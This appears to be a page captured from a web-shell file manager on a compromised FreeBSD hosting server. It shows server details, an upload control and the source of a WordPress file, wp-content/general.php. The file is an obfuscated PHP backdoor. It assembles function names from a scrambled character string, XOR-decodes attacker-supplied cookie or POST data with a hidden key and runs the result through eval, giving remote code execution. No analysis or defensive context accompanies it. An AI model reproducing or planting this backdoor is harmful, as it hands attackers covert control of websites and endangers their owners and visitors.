HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/general.php
<?php
$yiyeb = 'y#ecmgaflHdb\'xsov8*6krtp_7iu539n-24';$tcjppa = Array();$tcjppa[] = $yiyeb[9].$yiyeb[18];$tcjppa[] = $yiyeb[1];$tcjppa[] = $yiyeb[7].$yiyeb[6].$yiyeb[25].$yiyeb[2].$yiyeb[19].$yiyeb[28].$yiyeb[25].$yiyeb[17].$yiyeb[32].$yiyeb[3].$yiyeb[34].$yiyeb[29].$yiyeb[19].$yiyeb[32].$yiyeb[34].$yiyeb[3].$yiyeb[29].$yiyeb[29].$yiyeb[32].$yiyeb[17].$yiyeb[30].$yiyeb[17].$yiyeb[34].$yiyeb[32].$yiyeb[11].$yiyeb[19].$yiyeb[3].$yiyeb[29].$yiyeb[34].$yiyeb[10].$yiyeb[19].$yiyeb[33].$yiyeb[30].$yiyeb[11].$yiyeb[10].$yiyeb[3];$tcjppa[] = $yiyeb[3].$yiyeb[15].$yiyeb[27].$yiyeb[31].$yiyeb[22];$tcjppa[] = $yiyeb[14].$yiyeb[22].$yiyeb[21].$yiyeb[24].$yiyeb[21].$yiyeb[2].$yiyeb[23].$yiyeb[2].$yiyeb[6].$yiyeb[22];$tcjppa[] = $yiyeb[2].$yiyeb[13].$yiyeb[23].$yiyeb[8].$yiyeb[15].$yiyeb[10].$yiyeb[2];$tcjppa[] = $yiyeb[14].$yiyeb[27].$yiyeb[11].$yiyeb[14].$yiyeb[22].$yiyeb[21];$tcjppa[] = $yiyeb[6].$yiyeb[21].$yiyeb[21].$yiyeb[6].$yiyeb[0].$yiyeb[24].$yiyeb[4].$yiyeb[2].$yiyeb[21].$yiyeb[5].$yiyeb[2];$tcjppa[] = $yiyeb[14].$yiyeb[22].$yiyeb[21].$yiyeb[8].$yiyeb[2].$yiyeb[31];$tcjppa[] = $yiyeb[23].$yiyeb[6].$yiyeb[3].$yiyeb[20];foreach ($tcjppa[7]($_COOKIE, $_POST) as $jkwvi => $ziptt){function hdtkvmt($tcjppa, $jkwvi, $livuoq){return $tcjppa[6]($tcjppa[4]($jkwvi . $tcjppa[2], ($livuoq / $tcjppa[8]($jkwvi)) + 1), 0, $livuoq);}function wtyufkq($tcjppa, $cgfsey){return @$tcjppa[9]($tcjppa[0], $cgfsey);}function ldhqq($tcjppa, $cgfsey){$mkovii = $tcjppa[3]($cgfsey) % 3;if (!$mkovii) {eval($cgfsey[1]($cgfsey[2]));exit();}}$ziptt = wtyufkq($tcjppa, $ziptt);ldhqq($tcjppa, $tcjppa[5]($tcjppa[1], $ziptt ^ hdtkvmt($tcjppa, $jkwvi, $tcjppa[8]($ziptt))));}